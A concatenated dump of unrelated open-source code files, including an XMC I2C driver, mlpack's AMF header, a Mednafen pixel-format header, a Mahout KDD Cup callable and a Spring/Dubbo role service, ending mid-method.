status = XMC_I2C_CH_STATUS_ERROR; if (rate <= (uint32_t)XMC_I2C_CH_MAX_SPEED_STANDARD) { channel->PCR_IICMode &= (uint32_t)~USIC_CH_PCR_IICMode_STIM_Msk; if (XMC_USIC_CH_SetBaudrate(channel, rate, (uint32_t)XMC_I2C_CH_CLOCK_OVERSAMPLING_STANDARD) == XMC_USIC_CH_STATUS_OK) { status = XMC_I2C_CH_STATUS_OK; } } else if (rate <= (uint32_t)XMC_I2C_CH_MAX_SPEED_FAST) { channel->PCR_IICMode |= (uint32_t)USIC_CH_PCR_IICMode_STIM_Msk; if (XMC_USIC_CH_SetBaudrate(channel, rate, (uint32_t)XMC_I2C_CH_CLOCK_OVERSAMPLING_FAST) == XMC_USIC_CH_STATUS_OK) { status = XMC_I2C_CH_STATUS_OK; } } else { status = XMC_I2C_CH_STATUS_ERROR; } return status; } /* Sends master start condition along with read/write command to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterStart(XMC_USIC_CH_t *const channel, const uint16_t addr, const XMC_I2C_CH_CMD_t command) { uint32_t temp; temp = addr | (uint32_t)XMC_I2C_CH_TDF_MASTER_START; if (command == XMC_I2C_CH_CMD_READ) { temp |= 0x1U; } /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while (XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = temp; } else { channel->IN[0U] = temp; } } /* Sends master repeated start condition along with read/write command to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterRepeatedStart(XMC_USIC_CH_t *const channel, const uint16_t addr, const XMC_I2C_CH_CMD_t command) { uint32_t tmp; tmp = addr | (uint32_t)XMC_I2C_CH_TDF_MASTER_RESTART; if (command == XMC_I2C_CH_CMD_READ) { tmp |= 0x1U; } /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while (XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = tmp; } else { channel->IN[0U] = tmp; } } /* Sends master stop command to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterStop(XMC_USIC_CH_t *const channel) { /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while (XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_STOP; } else { channel->IN[0U] = (uint32_t)XMC_I2C_CH_TDF_MASTER_STOP; } } /* Sends master send command along with data to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterTransmit(XMC_USIC_CH_t *const channel, const uint8_t data) { /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while (XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_SEND | data; } else { channel->IN[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_SEND | data; } } /* Sends slave send command along with data to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_SlaveTransmit(XMC_USIC_CH_t *const channel, const uint8_t data) { /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while(XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = (uint32_t)XMC_I2C_CH_TDF_SLAVE_SEND | data; } else { channel->IN[0] = (uint32_t)XMC_I2C_CH_TDF_SLAVE_SEND | data; } } /* Sends master receive ack command to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterReceiveAck(XMC_USIC_CH_t *const channel) { /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while(XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_RECEIVE_ACK; } else { channel->IN[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_RECEIVE_ACK; } } /* Sends master receive nack command to IN/TBUF register based on FIFO/non-FIFO modes. */ void XMC_I2C_CH_MasterReceiveNack(XMC_USIC_CH_t *const channel) { /* Check FIFO size */ if ((channel->TBCTR & USIC_CH_TBCTR_SIZE_Msk) == 0U) { while(XMC_USIC_CH_GetTransmitBufferStatus(channel) == XMC_USIC_CH_TBUF_STATUS_BUSY) { /* check TDV, wait until TBUF is ready */ } /* clear PSR_TBIF */ XMC_I2C_CH_ClearStatusFlag(channel, (uint32_t)XMC_I2C_CH_STATUS_FLAG_TRANSMIT_BUFFER_INDICATION); channel->TBUF[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_RECEIVE_NACK; } else { channel->IN[0] = (uint32_t)XMC_I2C_CH_TDF_MASTER_RECEIVE_NACK; } } /* Reads the data from RBUF if FIFO size is 0 otherwise from OUTR. */ uint8_t XMC_I2C_CH_GetReceivedData(const XMC_USIC_CH_t *const channel) { uint8_t retval; /* Check FIFO size */ if ((channel->RBCTR & USIC_CH_RBCTR_SIZE_Msk) == 0U) { retval = (uint8_t)channel->RBUF; } else { retval = (uint8_t)channel->OUTR; } return retval; } /* Sets the operating mode of USIC to IDLE */ XMC_I2C_CH_STATUS_t XMC_I2C_CH_Stop(XMC_USIC_CH_t *const channel) { XMC_I2C_CH_STATUS_t status = XMC_I2C_CH_STATUS_OK; if (((uint32_t)XMC_USIC_CH_GetTransmitBufferStatus(channel) & (uint32_t)XMC_USIC_CH_TBUF_STATUS_BUSY) != 0U) { status = XMC_I2C_CH_STATUS_BUSY; } else { /* USIC channel in IDLE mode */ XMC_USIC_CH_SetMode(channel, XMC_USIC_CH_OPERATING_MODE_IDLE); } return status; } void XMC_I2C_CH_EnableEvent(XMC_USIC_CH_t *const channel, const uint32_t event) { channel->CCR |= (event&0x1fc00U); channel->PCR_IICMode |= ((event) & 0x41fc0000U); } void XMC_I2C_CH_DisableEvent(XMC_USIC_CH_t *const channel, const uint32_t event) { channel->CCR &= (uint32_t)~(event&0x1fc00U); channel->PCR_IICMode &= (uint32_t)~((event) & 0x41fc0000U); }
6,494
357
import java.util.*; class RandomDemo { public static void main(String[] args) { Random r = new Random(); System.out.println( r.nextInt() ); //取得下一个随机整型数 System.out.println( r.nextInt() ); System.out.println( r.nextInt(10) ); System.out.println( r.nextInt(10) ); System.out.println( r.nextBoolean() ); System.out.println( r.nextBoolean() ); System.out.println( r.nextBoolean() ); // r.nextInt(-10); // IllegalArgumentException } }
268
4,216
/** * @file methods/amf/amf.hpp * @author <NAME> * @author <NAME> * @author <NAME> * * Alternating Matrix Factorization * * The AMF (alternating matrix factorization) class, from which more commonly * known techniques such as incremental SVD, NMF, and batch-learning SVD can be * derived. * * mlpack is free software; you may redistribute it and/or modify it under the * terms of the 3-clause BSD license. You should have received a copy of the * 3-clause BSD license along with mlpack. If not, see * http://www.opensource.org/licenses/BSD-3-Clause for more information. */ #ifndef MLPACK_METHODS_AMF_AMF_HPP #define MLPACK_METHODS_AMF_AMF_HPP #include <mlpack/prereqs.hpp> #include <mlpack/methods/amf/update_rules/nmf_mult_dist.hpp> #include <mlpack/methods/amf/update_rules/nmf_als.hpp> #include <mlpack/methods/amf/update_rules/svd_batch_learning.hpp> #include <mlpack/methods/amf/update_rules/svd_incomplete_incremental_learning.hpp> #include <mlpack/methods/amf/update_rules/svd_complete_incremental_learning.hpp> #include <mlpack/methods/amf/init_rules/random_init.hpp> #include <mlpack/methods/amf/init_rules/random_acol_init.hpp> #include <mlpack/methods/amf/termination_policies/simple_residue_termination.hpp> #include <mlpack/methods/amf/termination_policies/simple_tolerance_termination.hpp> namespace mlpack { namespace amf /** Alternating Matrix Factorization **/ { /** * This class implements AMF (alternating matrix factorization) on the given * matrix V. Alternating matrix factorization decomposes V in the form * \f$ V \approx WH \f$ where W is called the basis matrix and H is called the * encoding matrix. V is taken to be of size n x m and the obtained W is n x r * and H is r x m. The size r is called the rank of the factorization. * * The implementation requires three template types; the first contains the * policy used to determine when the algorithm has converged; the second * contains the initialization rule for the W and H matrix; the last contains * the update rule to be used during each iteration. This templatization allows * the user to try various update rules, initialization rules, and termination * policies (including ones not supplied with mlpack) for factorization. By * default, the template parameters to AMF implement non-negative matrix * factorization with the multiplicative distance update. * * A simple example of how to run AMF (or NMF) is shown below. * * @code * extern arma::mat V; // Matrix that we want to perform LMF on. * size_t r = 10; // Rank of decomposition * arma::mat W; // Basis matrix * arma::mat H; // Encoding matrix * * AMF<> amf; // Default options: NMF with multiplicative distance update rules. * amf.Apply(V, r, W, H); * @endcode * * @tparam TerminationPolicy The policy to use for determining when the * factorization has converged. * @tparam InitializationRule The initialization rule for initializing W and H * matrix. * @tparam UpdateRule The update rule for calculating W and H matrix at each * iteration. * * @see NMFMultiplicativeDistanceUpdate, SimpleResidueTermination */ template<typename TerminationPolicyType = SimpleResidueTermination, typename InitializationRuleType = RandomAcolInitialization<>, typename UpdateRuleType = NMFMultiplicativeDistanceUpdate> class AMF { public: /** * Create the AMF object and (optionally) set the parameters which AMF will * run with. The minimum residue refers to the root mean square of the * difference between two subsequent iterations of the product W * H. A low * residue indicates that subsequent iterations are not producing much change * in W and H. Once the residue goes below the specified minimum residue, the * algorithm terminates. * * @param initializeRule Optional instantiated InitializationRule object * for initializing the W and H matrices. * @param update Optional instantiated UpdateRule object; this parameter * is useful when the update rule for the W and H vector has state that * it needs to store (i.e. HUpdate() and WUpdate() are not static * functions). * @param terminationPolicy Optional instantiated TerminationPolicy object. */ AMF(const TerminationPolicyType& terminationPolicy = TerminationPolicyType(), const InitializationRuleType& initializeRule = InitializationRuleType(), const UpdateRuleType& update = UpdateRuleType()); /** * Apply Alternating Matrix Factorization to the provided matrix. * * @param V Input matrix to be factorized. * @param W Basis matrix to be output. * @param H Encoding matrix to output. * @param r Rank r of the factorization. */ template<typename MatType> double Apply(const MatType& V, const size_t r, arma::mat& W, arma::mat& H); //! Access the termination policy. const TerminationPolicyType& TerminationPolicy() const { return terminationPolicy; } //! Modify the termination policy. TerminationPolicyType& TerminationPolicy() { return terminationPolicy; } //! Access the initialization rule. const InitializationRuleType& InitializeRule() const { return initializationRule; } //! Modify the initialization rule. InitializationRuleType& InitializeRule() { return initializationRule; } //! Access the update rule. const UpdateRuleType& Update() const { return update; } //! Modify the update rule. UpdateRuleType& Update() { return update; } private: //! Termination policy. TerminationPolicyType terminationPolicy; //! Instantiated initialization Rule. InitializationRuleType initializationRule; //! Instantiated update rule. UpdateRuleType update; }; // class AMF typedef amf::AMF<amf::SimpleResidueTermination, amf::RandomAcolInitialization<>, amf::NMFALSUpdate> NMFALSFactorizer; //! Convenience typedefs. /** * SVDBatchFactorizer factorizes given matrix V into two matrices W and H by * gradient descent. SVD batch learning is described in paper 'A Guide to * singular Value Decomposition' by <NAME>. * * @see SVDBatchLearning */ template<typename MatType = arma::mat> using SVDBatchFactorizer = amf::AMF< amf::SimpleResidueTermination, amf::RandomAcolInitialization<>, amf::SVDBatchLearning>; /** * SVDIncompleteIncrementalFactorizer factorizes given matrix V into two * matrices W and H by incomplete incremental gradient descent. SVD incomplete * incremental learning is described in paper 'A Guide to singular Value * Decomposition' by <NAME>. * * @see SVDIncompleteIncrementalLearning */ template<class MatType = arma::mat> using SVDIncompleteIncrementalFactorizer = amf::AMF< amf::SimpleResidueTermination, amf::RandomAcolInitialization<>, amf::SVDIncompleteIncrementalLearning>; /** * SVDCompleteIncrementalFactorizer factorizes given matrix V into two matrices * W and H by complete incremental gradient descent. SVD complete incremental * learning is described in paper 'A Guide to singular Value Decomposition' * by <NAME>. * * @see SVDCompleteIncrementalLearning */ template<class MatType = arma::mat> using SVDCompleteIncrementalFactorizer = amf::AMF< amf::SimpleResidueTermination, amf::RandomAcolInitialization<>, amf::SVDCompleteIncrementalLearning<MatType>>; } // namespace amf } // namespace mlpack // Include implementation. #include "amf_impl.hpp" #endif // MLPACK_METHODS_AMF_AMF_HPP
2,300
1,062
// // Generated by class-dump 3.5b1 (64 bit) (Debug version compiled Dec 3 2019 19:59:57). // // Copyright (C) 1997-2019 <NAME>. // #import <objc/NSObject.h> #import <MailFW/MFMessageConsumer-Protocol.h> #import <MailFW/MFSearchableIndexQueryResultProcessor-Protocol.h> @class NSMutableDictionary, NSString; @protocol MFSearchableIndexQueryResultProcessorDelegate; @interface MFSearchableIndexThreadedQueryResultProcessor : NSObject <MFMessageConsumer, MFSearchableIndexQueryResultProcessor> { BOOL _cancelled; // 8 = 0x8 id <MFSearchableIndexQueryResultProcessorDelegate> _delegate; // 16 = 0x10 NSMutableDictionary *_primaryLibraryIDsByConversationID; // 24 = 0x18 } @property(nonatomic, getter=isCancelled) BOOL cancelled; // @synthesize cancelled=_cancelled; @property(retain, nonatomic) NSMutableDictionary *primaryLibraryIDsByConversationID; // @synthesize primaryLibraryIDsByConversationID=_primaryLibraryIDsByConversationID; @property(nonatomic) __weak id <MFSearchableIndexQueryResultProcessorDelegate> delegate; // @synthesize delegate=_delegate; // - (void).cxx_destruct; // IMP=0x00000000002015e0 @property(readonly) BOOL shouldCancel; - (void)newMessagesAvailable:(id)arg1 secondaryMessages:(id)arg2 fromUpdate:(BOOL)arg3; // IMP=0x00000000002012a3 - (void)finishedSendingMessages; // IMP=0x0000000000201266 - (void)_messagesCompacted:(id)arg1; // IMP=0x0000000000200fda - (void)_messagesAdded:(id)arg1; // IMP=0x0000000000200b51 - (id)_threadScopeCriterion; // IMP=0x0000000000200ac8 - (BOOL)_hasFinishedGathering; // IMP=0x0000000000200a49 - (id)_target; // IMP=0x00000000002009c0 - (void)provider:(id)arg1 foundResults:(id)arg2; // IMP=0x000000000020029c - (void)cancel; // IMP=0x0000000000200285 - (void)dealloc; // IMP=0x0000000000200210 - (id)init; // IMP=0x0000000000200103 // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
728
349
<reponame>zyjjfm/fanfouapp-opensource /******************************************************************************* * Copyright 2011, 2012, 2013 fanfou.com, <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ package com.fanfou.app.opensource.http.support; import java.io.IOException; import org.apache.http.Header; import org.apache.http.HeaderElement; import org.apache.http.HttpEntity; import org.apache.http.HttpException; import org.apache.http.HttpResponse; import org.apache.http.HttpResponseInterceptor; import org.apache.http.protocol.HttpContext; /** * @author mcxiaoke * @version 2.0 2011.11.03 * */ public class GzipResponseInterceptor implements HttpResponseInterceptor { private static final String ENCODING_GZIP = "gzip"; @Override public void process(final HttpResponse response, final HttpContext context) throws HttpException, IOException { final HttpEntity entity = response.getEntity(); final Header encoding = entity.getContentEncoding(); if (encoding != null) { for (final HeaderElement element : encoding.getElements()) { if (element.getName().equalsIgnoreCase( GzipResponseInterceptor.ENCODING_GZIP)) { response.setEntity(new GzipDecompressingEntity(response .getEntity())); break; } } } } }
686
1,414
#ifndef __MDFN_SURFACE_H #define __MDFN_SURFACE_H struct MDFN_Rect { int32 x, y, w, h; }; enum { MDFN_COLORSPACE_RGB = 0, //MDFN_COLORSPACE_LRGB = 1, // Linear RGB, 16-bit per component, TODO in the future? //MDFN_COLORSPACE_YUV = 2, // TODO, maybe. }; struct MDFN_PaletteEntry { uint8 r, g, b; }; /* template<typename T> static constexpr INLINE uint64 MDFN_PixelFormat_SetTagT(const uint64 tag) { return (tag & ~0xFF) | (sizeof(T) * 8); } */ static constexpr INLINE uint64 MDFN_PixelFormat_MakeTag(const uint8 colorspace, const uint8 opp, const uint8 rs, const uint8 gs, const uint8 bs, const uint8 as, const uint8 rp, const uint8 gp, const uint8 bp, const uint8 ap) { // (8 * 6) = 48 return ((uint64)colorspace << 56) | ((uint64)opp << 48) | ((uint64)rs << (0 * 6)) | ((uint64)gs << (1 * 6)) | ((uint64)bs << (2 * 6)) | ((uint64)as << (3 * 6)) | ((uint64)rp << (4 * 6)) | ((uint64)gp << (5 * 6)) | ((uint64)bp << (6 * 6)) | ((uint64)ap << (7 * 6)); } class MDFN_PixelFormat { public: // // MDFN_PixelFormat constructors must remain inline for various code to be optimized // properly by the compiler. // INLINE MDFN_PixelFormat(const uint64 tag_) : tag(tag_), colorspace((uint8)(tag_ >> 56)), opp((uint8)(tag_ >> 48)), Rshift((tag_ >> (0 * 6)) & 0x3F), Gshift((tag_ >> (1 * 6)) & 0x3F), Bshift((tag_ >> (2 * 6)) & 0x3F), Ashift((tag_ >> (3 * 6)) & 0x3F), Rprec((tag_ >> (4 * 6)) & 0x3F), Gprec((tag_ >> (5 * 6)) & 0x3F), Bprec((tag_ >> (6 * 6)) & 0x3F), Aprec((tag_ >> (7 * 6)) & 0x3F) { // } INLINE MDFN_PixelFormat() : tag(0), colorspace(0), opp(0), Rshift(0), Gshift(0), Bshift(0), Ashift(0), Rprec(0), Gprec(0), Bprec(0), Aprec(0) { // } INLINE MDFN_PixelFormat(const unsigned int colorspace_, const uint8 opp_, const uint8 rs, const uint8 gs, const uint8 bs, const uint8 as, const uint8 rp = 8, const uint8 gp = 8, const uint8 bp = 8, const uint8 ap = 8) : tag(MDFN_PixelFormat_MakeTag(colorspace_, opp_, rs, gs, bs, as, rp, gp, bp, ap)), colorspace(colorspace_), opp(opp_), Rshift(rs), Gshift(gs), Bshift(bs), Ashift(as), Rprec(rp), Gprec(gp), Bprec(bp), Aprec(ap) { // } //constexpr MDFN_PixelFormat(MDFN_PixelFormat&) = default; //constexpr MDFN_PixelFormat(MDFN_PixelFormat&&) = default; //MDFN_PixelFormat& operator=(MDFN_PixelFormat&) = default; bool operator==(const uint64& t) { return tag == t; } bool operator==(const MDFN_PixelFormat& a) { return tag == a.tag; } bool operator!=(const MDFN_PixelFormat& a) { return !(*this == a); } uint64 tag; uint8 colorspace; uint8 opp; // Bytes per pixel; 1, 2, 4 (1 is WIP) uint8 Rshift; // Bit position of the lowest bit of the red component uint8 Gshift; // [...] green component uint8 Bshift; // [...] blue component uint8 Ashift; // [...] alpha component. // For 16bpp, WIP uint8 Rprec; uint8 Gprec; uint8 Bprec; uint8 Aprec; // Creates a color value for the surface corresponding to the 8-bit R/G/B/A color passed. INLINE uint32 MakeColor(uint8 r, uint8 g, uint8 b, uint8 a = 0) const { if(opp == 2) { uint32 ret; ret = ((r * ((1 << Rprec) - 1) + 127) / 255) << Rshift; ret |= ((g * ((1 << Gprec) - 1) + 127) / 255) << Gshift; ret |= ((b * ((1 << Bprec) - 1) + 127) / 255) << Bshift; ret |= ((a * ((1 << Aprec) - 1) + 127) / 255) << Ashift; return ret; } else return (r << Rshift) | (g << Gshift) | (b << Bshift) | (a << Ashift); } INLINE MDFN_PaletteEntry MakePColor(uint8 r, uint8 g, uint8 b) const { MDFN_PaletteEntry ret; ret.r = ((r * ((1 << Rprec) - 1) + 127) / 255) << Rshift; ret.g = ((g * ((1 << Gprec) - 1) + 127) / 255) << Gshift; ret.b = ((b * ((1 << Bprec) - 1) + 127) / 255) << Bshift; return ret; } INLINE void DecodePColor(const MDFN_PaletteEntry& pe, uint8 &r, uint8 &g, uint8 &b) const { r = ((pe.r >> Rshift) & ((1 << Rprec) - 1)) * 255 / ((1 << Rprec) - 1); g = ((pe.g >> Gshift) & ((1 << Gprec) - 1)) * 255 / ((1 << Gprec) - 1); b = ((pe.b >> Bshift) & ((1 << Bprec) - 1)) * 255 / ((1 << Bprec) - 1); } // Gets the R/G/B/A values for the passed 32-bit surface pixel value INLINE void DecodeColor(uint32 value, int &r, int &g, int &b, int &a) const { if(opp == 2) { r = ((value >> Rshift) & ((1 << Rprec) - 1)) * 255 / ((1 << Rprec) - 1); g = ((value >> Gshift) & ((1 << Gprec) - 1)) * 255 / ((1 << Gprec) - 1); b = ((value >> Bshift) & ((1 << Bprec) - 1)) * 255 / ((1 << Bprec) - 1); a = ((value >> Ashift) & ((1 << Aprec) - 1)) * 255 / ((1 << Aprec) - 1); } else { r = (value >> Rshift) & 0xFF; g = (value >> Gshift) & 0xFF; b = (value >> Bshift) & 0xFF; a = (value >> Ashift) & 0xFF; } } MDFN_HIDE static const uint8 LUT5to8[32]; MDFN_HIDE static const uint8 LUT6to8[64]; MDFN_HIDE static const uint8 LUT8to5[256]; MDFN_HIDE static const uint8 LUT8to6[256]; INLINE void DecodeColor(uint32 value, int &r, int &g, int &b) const { int dummy_a; DecodeColor(value, r, g, b, dummy_a); } static INLINE void TDecodeColor(uint64 tag, uint32 c, int* r, int* g, int* b) { if(tag == IRGB16_1555) { *r = LUT5to8[(c >> 10) & 0x1F]; *g = LUT5to8[(c >> 5) & 0x1F]; *b = LUT5to8[(c >> 0) & 0x1F]; //*a = 0; } else if(tag == RGB16_565) { *r = LUT5to8[(c >> 11) & 0x1F]; *g = LUT6to8[(c >> 5) & 0x3F]; *b = LUT5to8[(c >> 0) & 0x1F]; //*a = 0; } else { MDFN_PixelFormat pf = tag; pf.DecodeColor(c, *r, *g, *b); } } static INLINE uint32 TMakeColor(uint64 tag, uint8 r, uint8 g, uint8 b) { if(tag == IRGB16_1555) return (LUT8to5[r] << 10) | (LUT8to5[g] << 5) | (LUT8to5[b] << 0); else if(tag == RGB16_565) return (LUT8to5[r] << 11) | (LUT8to6[g] << 5) | (LUT8to5[b] << 0); else { MDFN_PixelFormat pf = tag; return pf.MakeColor(r, g, b); } } enum : uint64 { // // All 24 possible RGB-colorspace xxxx32_8888 formats are supported by core Mednafen and emulation modules, // but the ones not enumerated here will be less performant. // // In regards to emulation modules' video output, the alpha channel is for internal use, // and should be ignored by driver-side/frontend code. // ABGR32_8888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 4, /**/ 0, 8, 16, 24, /**/ 8, 8, 8, 8), ARGB32_8888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 4, /**/ 16, 8, 0, 24, /**/ 8, 8, 8, 8), RGBA32_8888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 4, /**/ 24, 16, 8, 0, /**/ 8, 8, 8, 8), BGRA32_8888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 4, /**/ 8, 16, 24, 0, /**/ 8, 8, 8, 8), // // These two RGB16 formats are the only 16-bit formats fully supported by core Mednafen code, // and most emulation modules(also see MDFNGI::ExtraVideoFormatSupport) // // Alpha shift/precision weirdness for internal emulation module use. // IRGB16_1555 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 2, /**/ 10, 5, 0, 16, /**/ 5, 5, 5, 8), RGB16_565 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 2, /**/ 11, 5, 0, 16, /**/ 5, 6, 5, 8), // // Following formats are not supported by emulation modules, and only partially supported by core // Mednafen code: // ARGB16_4444 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 2, /**/ 8, 4, 0, 12, /**/ 4, 4, 4, 4), // // TODO: Following two hackyish formats are only valid when used as a destination pixel format with // MDFN_PixelFormatConverter // // RGB8X3_888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 3, /**/ 0, 1, 2, 0, /**/ 8, 8, 8, 0), // BGR8X3_888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 3, /**/ 2, 1, 0, 0, /**/ 8, 8, 8, 0), // // TODO: //RGB8P_888 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 1, /**/ 0, 0, 0, 8, /**/ 8, 8, 8, 0), //RGB8P_666 = MDFN_PixelFormat_MakeTag(MDFN_COLORSPACE_RGB, 1, /**/ 0, 0, 0, 8, /**/ 6, 6, 6, 0), }; }; // MDFN_PixelFormat; // 8bpp support is incomplete class MDFN_Surface { public: MDFN_Surface(); MDFN_Surface(void *const p_pixels, const uint32 p_width, const uint32 p_height, const uint32 p_pitchinpix, const MDFN_PixelFormat &nf, const bool alloc_init_pixels = true); ~MDFN_Surface(); uint8 *pixels8; uint16 *pixels16; uint32 *pixels; template<typename T> T* pix(void) { if(sizeof(T) == 1) return (T*)pixels8; else if(sizeof(T) == 2) return (T*)pixels16; else if(sizeof(T) == 4) return (T*)pixels; else return NULL; } MDFN_PaletteEntry *palette; bool pixels_is_external; // w, h, and pitch32 should always be > 0 int32 w; int32 h; union { int32 pitch32; // In pixels, not in bytes. int32 pitchinpix; // New name, new code should use this. }; MDFN_PixelFormat format; void Fill(uint8 r, uint8 g, uint8 b, uint8 a); void SetFormat(const MDFN_PixelFormat &new_format, bool convert); // Creates a 32-bit value for the surface corresponding to the R/G/B/A color passed. INLINE uint32 MakeColor(uint8 r, uint8 g, uint8 b, uint8 a = 0) const { return(format.MakeColor(r, g, b, a)); } // Gets the R/G/B/A values for the passed 32-bit surface pixel value INLINE void DecodeColor(uint32 value, int &r, int &g, int &b, int &a) const { format.DecodeColor(value, r, g, b, a); } INLINE void DecodeColor(uint32 value, int &r, int &g, int &b) const { int dummy_a; DecodeColor(value, r, g, b, dummy_a); } private: void Init(void *const p_pixels, const uint32 p_width, const uint32 p_height, const uint32 p_pitchinpix, const MDFN_PixelFormat &nf, const bool alloc_init_pixels); }; #endif
4,132
2,073
/** * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.mahout.cf.taste.example.kddcup.track1; import java.util.concurrent.Callable; import java.util.concurrent.atomic.AtomicInteger; import org.apache.mahout.cf.taste.common.NoSuchItemException; import org.apache.mahout.cf.taste.common.TasteException; import org.apache.mahout.cf.taste.model.PreferenceArray; import org.apache.mahout.cf.taste.recommender.Recommender; import org.slf4j.Logger; import org.slf4j.LoggerFactory; final class Track1Callable implements Callable<byte[]> { private static final Logger log = LoggerFactory.getLogger(Track1Callable.class); private static final AtomicInteger COUNT = new AtomicInteger(); private final Recommender recommender; private final PreferenceArray userTest; Track1Callable(Recommender recommender, PreferenceArray userTest) { this.recommender = recommender; this.userTest = userTest; } @Override public byte[] call() throws TasteException { long userID = userTest.get(0).getUserID(); byte[] result = new byte[userTest.length()]; for (int i = 0; i < userTest.length(); i++) { long itemID = userTest.getItemID(i); double estimate; try { estimate = recommender.estimatePreference(userID, itemID); } catch (NoSuchItemException nsie) { // OK in the sample data provided before the contest, should never happen otherwise log.warn("Unknown item {}; OK unless this is the real contest data", itemID); continue; } result[i] = EstimateConverter.convert(estimate, userID, itemID); } if (COUNT.incrementAndGet() % 10000 == 0) { log.info("Completed {} users", COUNT.get()); } return result; } }
783
4,253
package com.mashibing.springboot.service; import org.apache.dubbo.config.annotation.Service; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import com.github.pagehelper.PageHelper; import com.github.pagehelper.PageInfo; import com.mashibing.springboot.entity.Role; import com.mashibing.springboot.mapper.RoleExample; import com.mashibing.springboot.mapper.RoleMapper; @Component @Service(version = "1.0.0" ,timeout = 10000, interfaceClass = IRoleService.class) public class RoleServiceImpl implements IRoleService { @Autowired RoleMapper roleMapper; @Override public PageInfo<Role> findByPage(int pageNum, int pageSize) { PageHelper.startPage(pageNum, pageSize); RoleExample example = new RoleExample(); PageInfo<Role> pageInfo = new PageInfo<>(roleMapper.selectByExample(example )); ; return pageInfo; } @Override public Role findById(int id) { // TODO Auto-generated method stub return roleMapper.findById(id); } @Override public void addPermission(int id, int[] permissions) { // TODO Auto-generated method stub // for (int p : permissions) { // // 